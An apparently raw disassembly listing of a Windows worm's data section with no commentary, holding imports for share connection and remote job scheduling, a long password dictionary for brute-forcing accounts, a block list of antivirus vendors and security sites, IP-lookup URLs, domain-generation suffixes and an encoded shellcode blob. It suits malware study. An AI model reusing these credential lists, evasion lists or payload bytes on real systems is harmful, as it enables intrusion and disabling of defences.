; [00000006 BYTES: COLLAPSED FUNCTION Process32Next. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Process32First. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Thread32Next. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Thread32First. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION ntohl. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION inet_addr. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __WSAFDIsSet. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION ntohl_0. PRESS KEYPAD "+"	TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NdrClientCall2. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION ObtainUserAgentString. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION WNetCancelConnection2W. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION WNetAddConnection2W. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION WNetAddConnection2A. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION WNetCancelConnection2A. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION VerQueryValueA. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION GetFileVersionInfoA. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION GetFileVersionInfoSizeA. PRESS KEYPAD "+"	TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NetApiBufferFree.	PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NetScheduleJobDel. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NetScheduleJobEnum. PRESS	KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NetScheduleJobAdd. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NetUserEnum. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NetServerEnum. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NetWkstaGetInfo. PRESS KEYPAD "+"	TO EXPAND]
; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO	EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO	EXPAND]
		dd 697h	dup(0)
dword_9BA000	dd 0			; DATA XREF: _CRT_INIT(x,x,x)+4Fo
dword_9BA004	dd 3 dup(0)		; DATA XREF: _CRT_INIT(x,x,x)+4Ao
off_9BA010	dd offset WindowName	; DATA XREF: sub_9A96FE+130r
					; "recv"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a123123	; "123123"
		dd offset a12321	; "12321"
		dd offset a123321	; "123321"
		dd offset a123abc	; "123abc"
		dd offset a123qwe	; "123qwe"
		dd offset a123asd	; "123asd"
		dd offset a1234abcd	; "1234abcd"
		dd offset a1234qwer	; "1234qwer"
		dd offset a1q2w3e	; "1q2w3e"
		dd offset aA1b2c3	; "a1b2c3"
		dd offset aAdmin_0	; "admin"
		dd offset aAdmin	; "Admin"
		dd offset aAdministrator ; "administrator"
		dd offset aNimda	; "nimda"
		dd offset aQwewq	; "qwewq"
		dd offset aQweewq	; "qweewq"
		dd offset aQwerty	; "qwerty"
		dd offset aQweasd	; "qweasd"
		dd offset aAsdsa	; "asdsa"
		dd offset aAsddsa	; "asddsa"
		dd offset aAsdzxc	; "asdzxc"
		dd offset aAsdfgh	; "asdfgh"
		dd offset aQweasdzxc	; "qweasdzxc"
		dd offset aQ1w2e3	; "q1w2e3"
		dd offset aQazwsx	; "qazwsx"
		dd offset aQazwsxedc	; "qazwsxedc"
		dd offset aZxcxz	; "zxcxz"
		dd offset aZxccxz	; "zxccxz"
		dd offset aZxcvb	; "zxcvb"
		dd offset aZxcvbn	; "zxcvbn"
		dd offset aPasswd	; "passwd"
		dd offset aPassword_0	; "password"
		dd offset aPassword	; "Password"
		dd offset aLogin_0	; "login"
		dd offset aLogin	; "Login"
		dd offset aPass		; "pass"
		dd offset aMypass	; "mypass"
		dd offset aMypassword	; "mypassword"
		dd offset aAdminadmin	; "adminadmin"
		dd offset aRoot		; "root"
		dd offset aRootroot	; "rootroot"
		dd offset aTest		; "test"
		dd offset aTesttest	; "testtest"
		dd offset aTemp		; "temp"
		dd offset aTemptemp	; "temptemp"
		dd offset aFoofoo	; "foofoo"
		dd offset aFoobar	; "foobar"
		dd offset aDefault	; "default"
		dd offset aPassword1	; "password1"
		dd offset aPassword12	; "password12"
		dd offset aPassword123	; "password123"
		dd offset aAdmin1	; "admin1"
		dd offset aAdmin12	; "admin12"
		dd offset aAdmin123	; "admin123"
		dd offset aPass1	; "pass1"
		dd offset aPass12	; "pass12"
		dd offset aPass123	; "pass123"
		dd offset aRoot123	; "root123"
		dd offset aPw123	; "pw123"
		dd offset aAbc123	; "abc123"
		dd offset aQwe123	; "qwe123"
		dd offset aTest123	; "test123"
		dd offset aTemp123	; "temp123"
		dd offset aMypc123	; "mypc123"
		dd offset aHome123	; "home123"
		dd offset aWork123	; "work123"
		dd offset aBoss123	; "boss123"
		dd offset aLove123	; "love123"
		dd offset aSample	; "sample"
		dd offset aExample	; "example"
		dd offset aInternet_0	; "internet"
		dd offset aInternet	; "Internet"
		dd offset aNopass	; "nopass"
		dd offset aNopassword	; "nopassword"
		dd offset aNothing	; "nothing"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aTemporary	; "temporary"
		dd offset aManager	; "manager"
		dd offset aBusiness	; "business"
		dd offset aOracle	; "oracle"
		dd offset aLotus	; "lotus"
		dd offset aDatabase	; "database"
		dd offset aBackup	; "backup"
		dd offset aOwner	; "owner"
		dd offset aComputer	; "computer"
		dd offset aServer	; "server"
		dd offset aSecret	; "secret"
		dd offset aSuper	; "super"
		dd offset aShare	; "share"
		dd offset aSuperuser	; "superuser"
		dd offset aSupervisor	; "supervisor"
		dd offset aOffice	; "office"
		dd offset aShadow	; "shadow"
		dd offset aSystem	; "system"
		dd offset aPublic	; "public"
		dd offset aSecure	; "secure"
		dd offset aSecurity	; "security"
		dd offset aDesktop	; "desktop"
		dd offset aChangeme	; "changeme"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aNobody	; "nobody"
		dd offset aCluster	; "cluster"
		dd offset aCustomer	; "customer"
		dd offset aExchange	; "exchange"
		dd offset aExplorer	; "explorer"
		dd offset aCampus	; "campus"
		dd offset aMoney	; "money"
		dd offset aAccess	; "access"
		dd offset aDomain	; "domain"
		dd offset aLetmein	; "letmein"
		dd offset aLetitbe	; "letitbe"
		dd offset aAnything	; "anything"
		dd offset aUnknown	; "unknown"
		dd offset aMonitor	; "monitor"
		dd offset aWindows	; "windows"
		dd offset aFiles	; "files"
		dd offset aAcademia	; "academia"
		dd offset aAccount	; "account"
		dd offset aStudent	; "student"
		dd offset aFreedom	; "freedom"
		dd offset aForever	; "forever"
		dd offset aCookie	; "cookie"
		dd offset aCoffee	; "coffee"
		dd offset aMarket	; "market"
		dd offset aPrivate	; "private"
		dd offset aGames	; "games"
		dd offset aKiller	; "killer"
		dd offset aController	; "controller"
		dd offset aIntranet	; "intranet"
		dd offset aWork		; "work"
		dd offset aHome		; "home"
		dd offset aJob		; "job"
		dd offset aFoo		; "foo"
		dd offset aWeb		; "web"
		dd offset aFile		; "file"
		dd offset aSql		; "sql"
		dd offset aAaa_0	; "aaa"
		dd offset aAaaa		; "aaaa"
		dd offset aAaaaa	; "aaaaa"
		dd offset aQqq		; "qqq"
		dd offset aQqqq		; "qqqq"
		dd offset aQqqqq	; "qqqqq"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aZzz		; "zzz"
		dd offset aZzzz		; "zzzz"
		dd offset aZzzzz	; "zzzzz"
		dd offset aFuck		; "fuck"
		dd offset a12		; "12"
		dd offset a21		; "21"
		dd offset a321		; "321"
		dd offset a4321		; "4321"
		dd offset a54321	; "54321"
		dd offset a654321	; "654321"
		dd offset a7654321	; "7654321"
		dd offset a87654321	; "87654321"
		dd offset a987654321	; "987654321"
		dd offset a0987654321	; "0987654321"
		dd offset PrefixString	; "ror"
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a00000	; "00000"
		dd offset a0000000	; "0000000"
		dd offset a00000000	; "00000000"
		dd offset a1		; "1"
		dd offset a11		; "11"
		dd offset a111		; "111"
		dd offset a1111		; "1111"
		dd offset a11111	; "11111"
		dd offset a111111	; "111111"
		dd offset a1111111	; "1111111"
		dd offset a11111111	; "11111111"
		dd offset a2		; "2"
		dd offset a22		; "22"
		dd offset a222		; "222"
		dd offset a2222		; "2222"
		dd offset a22222	; "22222"
		dd offset a222222	; "222222"
		dd offset a2222222	; "2222222"
		dd offset a22222222	; "22222222"
		dd offset a3		; "3"
		dd offset a33		; "33"
		dd offset a333		; "333"
		dd offset a3333		; "3333"
		dd offset a33333	; "33333"
		dd offset a333333	; "333333"
		dd offset a3333333	; "3333333"
		dd offset a33333333	; "33333333"
		dd offset a4		; "4"
		dd offset a44		; "44"
		dd offset a444		; "444"
		dd offset a4444		; "4444"
		dd offset a44444	; "44444"
		dd offset a444444	; "444444"
		dd offset a4444444	; "4444444"
		dd offset a44444444	; "44444444"
		dd offset a5		; "5"
		dd offset a55		; "55"
		dd offset a555		; "555"
		dd offset a5555		; "5555"
		dd offset a55555	; "55555"
		dd offset a555555	; "555555"
		dd offset a5555555	; "5555555"
		dd offset a55555555	; "55555555"
		dd offset a6		; "6"
		dd offset a66		; "66"
		dd offset a666		; "666"
		dd offset a6666		; "6666"
		dd offset a66666	; "66666"
		dd offset a666666	; "666666"
		dd offset a6666666	; "6666666"
		dd offset a66666666	; "66666666"
		dd offset a7		; "7"
		dd offset a77		; "77"
		dd offset a777		; "777"
		dd offset a7777		; "7777"
		dd offset a77777	; "77777"
		dd offset a777777	; "777777"
		dd offset a7777777	; "7777777"
		dd offset a77777777	; "77777777"
		dd offset a8		; "8"
		dd offset a88		; "88"
		dd offset a888		; "888"
		dd offset a8888		; "8888"
		dd offset a88888	; "88888"
		dd offset a888888	; "888888"
		dd offset a8888888	; "8888888"
		dd offset a88888888	; "88888888"
		dd offset a9		; "9"
		dd offset a99		; "99"
		dd offset a999		; "999"
		dd offset a9999		; "9999"
		dd offset a99999	; "99999"
		dd offset a999999	; "999999"
		dd offset a9999999	; "9999999"
		dd offset dword_9A26F0+4
		align 8
off_9BA3F8	dd offset aVirus	; DATA XREF: sub_9A9D29:loc_9A9D46r
					; "virus"
		dd offset aSpyware	; "spyware"
		dd offset aMalware	; "malware"
		dd offset aRootkit	; "rootkit"
		dd offset aDefender	; "defender"
		dd offset aMicrosoft	; "microsoft"
		dd offset aSymantec	; "symantec"
		dd offset aNorton	; "norton"
		dd offset aMcafee	; "mcafee"
		dd offset aTrendmicro	; "trendmicro"
		dd offset aSophos	; "sophos"
		dd offset aPanda	; "panda"
		dd offset aEtrust	; "etrust"
		dd offset aNetworkassocia ; "networkassociates"
		dd offset aComputerassoci ; "computerassociates"
		dd offset aFSecure	; "f-secure"
		dd offset aKaspersky	; "kaspersky"
		dd offset aJotti	; "jotti"
		dd offset aFProt	; "f-prot"
		dd offset aNod32	; "nod32"
		dd offset aEset		; "eset"
		dd offset aGrisoft	; "grisoft"
		dd offset aDrweb	; "drweb"
		dd offset aCentralcommand ; "centralcommand"
		dd offset aAhnlab	; "ahnlab"
		dd offset aEsafe	; "esafe"
		dd offset aAvast	; "avast"
		dd offset aAvira	; "avira"
		dd offset aQuickheal	; "quickheal"
		dd offset aComodo	; "comodo"
		dd offset aClamav	; "clamav"
		dd offset aEwido	; "ewido"
		dd offset aFortinet	; "fortinet"
		dd offset aGdata	; "gdata"
		dd offset aHacksoft	; "hacksoft"
		dd offset aHauri	; "hauri"
		dd offset aIkarus	; "ikarus"
		dd offset aK7computing	; "k7computing"
		dd offset aNorman	; "norman"
		dd offset aPctools	; "pctools"
		dd offset aPrevx	; "prevx"
		dd offset aRising	; "rising"
		dd offset aSecurecomputin ; "securecomputing"
		dd offset aSunbelt	; "sunbelt"
		dd offset aEmsisoft	; "emsisoft"
		dd offset aArcabit	; "arcabit"
		dd offset aCpsecure	; "cpsecure"
		dd offset aSpamhaus	; "spamhaus"
		dd offset aCastlecops	; "castlecops"
		dd offset aThreatexpert	; "threatexpert"
		dd offset aWilderssecurit ; "wilderssecurity"
		dd offset aWindowsupdate ; "windowsupdate"
off_9BA4C8	dd offset dword_9A3C44	; DATA XREF: sub_9A9D29:loc_9A9D74r
		dd offset dword_9A3C40
		dd offset dword_9A3C38
		dd offset dword_9A3C30
		dd offset dword_9A3434+7F4h
		dd offset dword_9A3434+7ECh
		dd offset dword_9A3434+7E4h
		dd offset dword_9A3434+7DCh
off_9BA4E8	dd offset aHttpCheckip_dy ; DATA XREF: sub_9AA572+58r
					; "http://checkip.dyndns.org"
		dd offset aHttpWww_whatis ; "http://www.whatismyip.org"
		dd offset aHttpWww_whatsm ; "http://www.whatsmyipaddress.com"
		dd offset aHttpWww_getmyi ; "http://www.getmyip.org"
dword_9BA4F8	dd 0			; DATA XREF: sub_9AA8E9+4Ar
					; sub_9AA8E9:loc_9AA952r
dword_9BA4FC	dd 9			; DATA XREF: sub_9AA8E9+52r
					; sub_9AA8E9+71r
		dd 1F1CB0h, 3 dup(0)
		dd 5, 9, 780E1FCBh, 3 dup(0)
		dd 6, 9, 7C90568Ch, 7CA27CF4h, 7C86FED3h, 7C83E413h, 7
		dd 9, 7C86BEB8h, 7CA1E84Eh, 7C86A01Bh, 7C83F517h, 2, 9
		dd 7801CB24h, 3	dup(0)
		dd 3, 9, 6F88F727h, 6F8916E2h, 2 dup(0)
		dd 3, 1, 6FD8F727h, 6FD916E2h, 2 dup(0)
		dd 3, 416h, 596FF727h, 597016E2h, 2 dup(0)
		dd 3, 804h, 58FBF727h, 58FC16E2h, 2 dup(0)
		dd 3, 4, 5860F727h, 586116E2h, 2 dup(0)
		dd 3, 5, 6FE1F727h, 6FE216E2h, 2 dup(0)
		dd 3, 6, 5978F727h, 597916E2h, 2 dup(0)
		dd 3, 13h, 596CF727h, 596D16E2h, 2 dup(0)
		dd 3, 0Bh, 597DF727h, 597E16E2h, 2 dup(0)
		dd 3, 0Ch, 595BF727h, 595C16E2h, 2 dup(0)
		dd 3, 7, 6FD9F727h, 6FDA16E2h, 2 dup(0)
		dd 3, 8, 592AF727h, 592B16E2h, 2 dup(0)
		dd 3, 0Eh, 5970F727h, 597116E2h, 2 dup(0)
		dd 3, 0Dh, 5940F727h, 594116E2h, 2 dup(0)
		dd 3, 10h, 596BF727h, 596C16E2h, 2 dup(0)
		dd 3, 11h, 567FF727h, 568016E2h, 2 dup(0)
		dd 3, 12h, 6FD6F727h, 6FD716E2h, 2 dup(0)
		dd 3, 14h, 597CF727h, 597D16E2h, 2 dup(0)
		dd 3, 15h, 5941F727h, 594216E2h, 2 dup(0)
		dd 3, 16h, 596BF727h, 596C16E2h, 2 dup(0)
		dd 3, 19h, 6FE1F727h, 6FE216E2h, 2 dup(0)
		dd 3, 0Ah, 6FDBF727h, 6FDC16E2h, 2 dup(0)
		dd 3, 1Dh, 597AF727h, 597B16E2h, 2 dup(0)
		dd 3, 1Fh, 5A78F727h, 5A7916E2h, 2 dup(0)
		dd 4, 9, 6F88F807h, 6F8917C2h, 2 dup(0)
		dd 4, 1, 6FD8F807h, 6FD917C2h, 2 dup(0)
		dd 4, 416h, 596FF807h, 597017C2h, 2 dup(0)
		dd 4, 804h, 58FBF807h, 58FC17C2h, 2 dup(0)
		dd 2 dup(4), 5860F807h,	586117C2h, 2 dup(0)
		dd 4, 5, 6FE1F807h, 6FE217C2h, 2 dup(0)
		dd 4, 6, 5978F807h, 597917C2h, 2 dup(0)
		dd 4, 13h, 596CF807h, 596D17C2h, 2 dup(0)
		dd 4, 0Bh, 597DF807h, 597E17C2h, 2 dup(0)
		dd 4, 0Ch, 595BF807h, 595C17C2h, 2 dup(0)
		dd 4, 7, 6FD9F807h, 6FDA17C2h, 2 dup(0)
		dd 4, 8, 592AF807h, 592B17C2h, 2 dup(0)
		dd 4, 0Eh, 5970F807h, 597117C2h, 2 dup(0)
		dd 4, 0Dh, 5940F807h, 594117C2h, 2 dup(0)
		dd 4, 10h, 596BF807h, 596C17C2h, 2 dup(0)
		dd 4, 11h, 567FF807h, 568017C2h, 2 dup(0)
		dd 4, 12h, 6FD6F807h, 6FD717C2h, 2 dup(0)
		dd 4, 14h, 597CF807h, 597D17C2h, 2 dup(0)
		dd 4, 15h, 5941F807h, 594217C2h, 2 dup(0)
		dd 4, 16h, 596BF807h, 596C17C2h, 2 dup(0)
		dd 4, 19h, 6FE1F807h, 6FE217C2h, 2 dup(0)
		dd 4, 0Ah, 6FDBF807h, 6FDC17C2h, 2 dup(0)
		dd 4, 1Dh, 597AF807h, 597B17C2h, 2 dup(0)
		dd 4, 1Fh, 5A78F807h, 5A7917C2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_9BA9F0:				; CODE XREF: .text:loc_9BA9F0p
					; DATA XREF: sub_9A8E01+27o ...
		call	near ptr loc_9BA9F0+4
		retn	8D5Fh
; ---------------------------------------------------------------------------
		dd 3180104Fh, 816641C4h, 75534D39h, 26AFCF5h, 418B6459h
		dd 0C408B2Eh, 8B1C408Bh, 8588B00h, 0A1B78Dh, 29E80000h
		dd 50000000h, 0FC8BF8E2h, 9317FF56h, 0E807C683h, 18h, 5252D233h
		dd 0C766CC8Bh, 512E7801h, 520477FFh, 52565152h,	0E0FF37FFh
		dd 955651ADh, 8B3C4B8Bh, 3780B4Ch, 8DF633CBh, 5103B314h
		dd 3128B20h, 0C0000FD3h, 0C1C0BF0Fh, 23207C0h, 3A8042h
		dd 0C53BF575h, 3B460674h, 0DB721871h, 324518Bh,	14B70FD3h
		dd 1C418B72h, 48BC303h,	5EC30390h, 0A260C359h, 8026768Ah
		dd 7275C8ACh, 6E6F6D6Ch, 5D239900h, 0D9h
; DWORD	dwMilliseconds
dwMilliseconds	dd 3E8h			; DATA XREF: sub_9AD6D4:loc_9AD7CEr
					; sub_9AD8BC+C1r ...
; volatile LONG	dword_9BAAB0
dword_9BAAB0	dd 64h			; DATA XREF: sub_9AD8BC+C8r
					; sub_9ADB83+11o
off_9BAAB4	dd offset dword_9A4484	; DATA XREF: sub_9AD58F+19r
		dd offset dword_9A447C
		dd offset dword_9A4470
		dd offset dword_9A4468
		dd offset dword_9A445C
; wchar_t *off_9BAAC8
off_9BAAC8	dd offset aBoot		; DATA XREF: sub_9AE850+89r
					; sub_9AE850+ABr
					; "Boot"
		dd offset aCenter	; "Center"
		dd offset aConfig	; "Config"
		dd offset aDriver	; "Driver"
		dd offset aHelper	; "Helper"
		dd offset aImage	; "Image"
		dd offset aInstaller	; "Installer"
		dd offset aManager_0	; "Manager"
		dd offset aMicrosoft_0	; "Microsoft"
		dd offset aMonitor_0	; "Monitor"
		dd offset aNetwork	; "Network"
		dd offset aSecurity_0	; "Security"
		dd offset aServer_0	; "Server"
		dd offset aShell	; "Shell"
		dd offset aSupport	; "Support"
		dd offset aSystem_0	; "System"
		dd offset aTask		; "Task"
		dd offset aTime		; "Time"
		dd offset aUniversal	; "Universal"
		dd offset aUpdate	; "Update"
		dd offset aWindows_0	; "Windows"
		align 10h
; int dword_9BAB20
dword_9BAB20	dd 0C351h		; DATA XREF: sub_9A86E4+33r
					; sub_9A89A9+47r ...
		align 8
dword_9BAB28	dd 0F52DA7E7h, 4912CA45h, 0D61E44E6h, 0BA1B4C72h, 8BF0723Ch
					; DATA XREF: sub_9A86E4+39o
					; sub_9A89A9+4Do ...
		dd 0F375EB4Bh, 0CD44E85Eh, 21E95687h, 333406E6h, 42934976h
		dd 3603E8ECh, 4DADA619h, 967F5912h, 25418501h, 7E83E2CBh
		dd 0B385DF72h, 0FB59E1DDh, 2D9A7897h, 0E93DB6B2h, 39455258h
		dd 9FC8901Bh, 422B5CD7h, 0D86AA6DEh, 4CF2D003h,	2E2472AFh
		dd 4DF38C9Dh, 0F24D2F2Fh, 2989D649h, 0FFC6C9A2h, 0B6985FF2h
		dd 92AD0968h, 10D57010h, 0B6DA1CEAh, 0CC03D4BCh, 578E9E8Dh
		dd 0BCFCCF8Ch, 319EC35Bh, 8A08DA5Bh, 0BF802693h, 8045DBD2h
		dd 0AF873383h, 5FF6C269h, 14349915h, 0CC880FCBh, 93E92944h
		dd 0F97E9E45h, 938A8712h, 0BB43338Eh, 605B400Ch, 3140864Ch
		dd 13659917h, 8AC26CE4h, 0D930A4E5h, 0BB6AD6F3h, 2DADFEBh
		dd 7E386DECh, 6811EE23h, 0A87D628Ah, 0C69E9393h, 23F17BDCh
		dd 3972665Dh, 56E53DC8h, 0A8D920C3h, 0E435259Ah, 7ED4993Bh
		dd 74D7D161h, 0EB6AE350h, 3D315A49h, 4A29DE21h,	0D1FC30CDh
		dd 7398D7FDh, 53A64B60h, 0EEF95D08h, 9721E605h,	0D6B7D9EDh
		dd 0B13400BCh, 26BD6B76h, 1C2C8A60h, 2D58E6B6h,	9404D47h
		dd 9DB1835Bh, 0A28E983Ch, 7A5D9E2Dh, 0C80DF107h, 0B047261Bh
		dd 8701C1Ah, 9CC24C76h,	0EF33ACFh, 0A800C61Eh, 9247CB15h
		dd 7F91D7Eh, 4992AA42h,	0ED7104DCh, 0E6DCE7D6h,	25BD3CADh
		dd 0ECFA3218h, 0FBA5B7FAh, 5249A1CCh, 0A76030BAh, 95A3B0D3h
		dd 61DAF2E5h, 97D227BDh, 3366D8C0h, 0D2130437h,	0CB3F9D36h
		dd 2E6B7924h, 0BE12269h, 485BC1ADh, 0D5E18Ah, 6443787h
		dd 744CAEF5h, 0A30F204Bh, 0D4086357h, 3AF0EB57h, 0C4031AE3h
		dd 2D179ADFh, 441FFD7Fh, 0B749DA71h, 0B5263FBAh, 0CAFE9CDDh
		dd 0ECDB7018h, 96846399h, 4C801030h, 0BC4D7333h, 2C79C3B2h
		dd 41CD6883h, 7DED455Ch, 88A8BEE7h
off_9BAD28	dd offset aBaidu_com	; DATA XREF: sub_9AEC85+25r
					; "baidu.com"
		dd offset aGoogle_com	; "google.com"
		dd offset aYahoo_com	; "yahoo.com"
		dd offset dword_9A4468
		dd offset aAsk_com	; "ask.com"
		dd offset aW3_org	; "w3.org"
; char *off_9BAD40
off_9BAD40	dd offset aJan		; DATA XREF: sub_9AEBA1+84r
					; "Jan"
		dd offset aFeb		; "Feb"
		dd offset aMar		; "Mar"
		dd offset aApr		; "Apr"
		dd offset aMay		; "May"
		dd offset aJun		; "Jun"
		dd offset aJul		; "Jul"
		dd offset aAug		; "Aug"
		dd offset aSep		; "Sep"
		dd offset aOct		; "Oct"
		dd offset aNov		; "Nov"
		dd offset aDec		; "Dec"
; char *off_9BAD70
off_9BAD70	dd offset a_cc		; DATA XREF: sub_9AEECE+C3r
					; ".cc"
		dd offset a_cn		; ".cn"
		dd offset a_ws		; ".ws"
		dd offset a_com		; ".com"
		dd offset a_net		; ".net"
		dd offset a_org		; ".org"
		dd offset a_info	; ".info"
		dd offset a_biz		; ".biz"
dbl_9BAD90	db 56h,	48h, 85h, 56h, 77h, 0, 0, 0 ; DATA XREF: sub_9AEC85+C1w
					; sub_9AED54+Cr ...
off_9BAD98	dd offset dword_9A4AEC	; DATA XREF: sub_9AF7D5+2D0r
		dd offset dword_9A4AE8
		dd offset aJpeg		; "jpeg"
		dd offset dword_9A4ADC
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 9A4BB0h
byte_9BADC0	db 6			; DATA XREF: sub_9B4B68+33r
					; sub_9B4B68+4Cr ...
		db 3 dup(46h)
		dd 45452929h, 46464609h, 29292946h, 1292929h, 5101101h
		dd 45464646h, 40200000h, 6060202h, 666606h
byte_9BADE8	db 4			; DATA XREF: sub_9B3D50+418r
		db 4, 2	dup(6)
		dd 7070000h, 2 dup(404h)
dword_9BADF8	dd 1			; DATA XREF: sub_9B774Cr
					; sub_9B789E+39w
dword_9BADFC	dd 19930520h, 4	dup(0)	; DATA XREF: .text:009B811Fo
					; __NLG_Notify+2o
; struct _RTL_CRITICAL_SECTION CriticalSection
CriticalSection	_RTL_CRITICAL_SECTION <0> ; DATA XREF: StartAddress+1Ao
					; StartAddress+1E4o ...
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
; HANDLE hObject
hObject		dd 0C8h			; DATA XREF: sub_9A798D+EBw
					; sub_9A798D+12Fr
; char aMarnwkcw[]
aMarnwkcw	db 'marnwkcw',0         ; DATA XREF: sub_9A798D+A9o
					; sub_9A798D:loc_9A7B0Fo ...
		align 4
dword_9BAE64	dd 0			; DATA XREF: sub_9A7170+AFw
					; sub_9ADBF1+1Cr ...
; char FileName[]
FileName	db 'c:\c.dll',0         ; DATA XREF: sub_9A722A+2Bo
					; sub_9A7410+5Co ...
		align 4
		dd 3Dh dup(0)
		db 3 dup(0)
byte_9BAF6B	db 0			; DATA XREF: sub_9A752A+121w
					; sub_9A798D+49w
; DWORD	nNumberOfBytesToWrite
nNumberOfBytesToWrite dd 0		; DATA XREF: StartAddress+AFo
					; StartAddress+DDr ...
; LPCVOID lpBuffer
lpBuffer	dd 0			; DATA XREF: StartAddress+BDw
					; sub_9A9318+1AEr ...
dword_9BAF74	dd 0CA3F246h		; DATA XREF: sub_9A752A+9r
					; sub_9A798D+88w ...
; volatile LONG	dword_9BAF78
dword_9BAF78	dd 0			; DATA XREF: StartAddress:loc_9A7808o
					; sub_9AEE25+9r ...
		align 10h
; wchar_t word_9BAF80
word_9BAF80	dw 0			; DATA XREF: sub_9A9898+5Do
					; sub_9A993B+32o ...
		align 4
		dd 80h dup(0)
		db 2 dup(0)
word_9BB186	dw 0			; DATA XREF: sub_9A993B+40w
dword_9BB188	dd 0			; DATA XREF: fn+20w sub_9A9A29w ...
; LPVOID lpAddress
lpAddress	dd 0			; DATA XREF: sub_9AAD64+3r
					; sub_9AAD64:loc_9AAD95r ...
dword_9BB190	dd 7FFA0000h		; DATA XREF: sub_9AADCD+3r sub_9AB49Ao
dword_9BB194	dd 0			; DATA XREF: sub_9AAE58+3r
					; sub_9AAE58+19r ...
dword_9BB198	dd 0			; DATA XREF: sub_9AAF13+3r
					; sub_9AAF13+19r ...
dword_9BB19C	dd 0			; DATA XREF: sub_9AAFA9+3r
					; sub_9AAFA9+19r ...
dword_9BB1A0	dd 0			; DATA XREF: .text:loc_9AB04Ar
					; .text:009AB060r ...
dword_9BB1A4	dd 0			; DATA XREF: sub_9AB296:loc_9AB2BEr
					; sub_9AB535:loc_9AB54Ao
dword_9BB1A8	dd 0			; DATA XREF: sub_9AB296+9r
					; sub_9AB535+Dw
		align 10h
; char Buffer[]
Buffer		db 100h	dup(0)		; DATA XREF: sub_9AB855+1CEo
					; sub_9AC2BE+16o
dword_9BB2B0	dd 0			; DATA XREF: sub_9AD6D4+1Ar
					; sub_9AD8BC+1Dr ...
; volatile LONG	Addend
Addend		dd 0			; DATA XREF: sub_9AD6D4+Fo
					; sub_9AD6D4:loc_9AD81Co ...
; volatile LONG	dword_9BB2B8
dword_9BB2B8	dd 0			; DATA XREF: sub_9ADA44+13r
					; sub_9ADBF1+D9r ...
dword_9BB2BC	dd 0			; DATA XREF: sub_9ADA44+1Br
					; sub_9ADBF1+1D1w ...
; volatile LONG	dword_9BB2C0
dword_9BB2C0	dd 0			; DATA XREF: sub_9AD8BC+110o
					; sub_9ADA44+D7o ...
; volatile LONG	Target
Target		dd 0			; DATA XREF: sub_9AD831+3Co
					; sub_9ADA44+E2r
; volatile LONG	Destination
Destination	dd 0			; DATA XREF: sub_9AD553+4o
					; sub_9AD569+8o
; volatile LONG	dword_9BB2CC
dword_9BB2CC	dd 0			; DATA XREF: sub_9AEE25+3Co
					; sub_9AEECE+53w ...
; char dword_9BB2D0[]
dword_9BB2D0	dd 3 dup(0)		; DATA XREF: sub_9AA646+Do
					; sub_9AF7D5+70o ...
dword_9BB2DC	dd 3 dup(0)		; DATA XREF: sub_9AF7D5+ABo
					; sub_9AFD0A+5Ao
dword_9BB2E8	dd 3 dup(0)		; DATA XREF: sub_9AF7D5+96o
					; sub_9AFD0A+74o ...
; volatile LONG	dword_9BB2F4
dword_9BB2F4	dd 0			; DATA XREF: sub_9ADA44:loc_9ADA66r
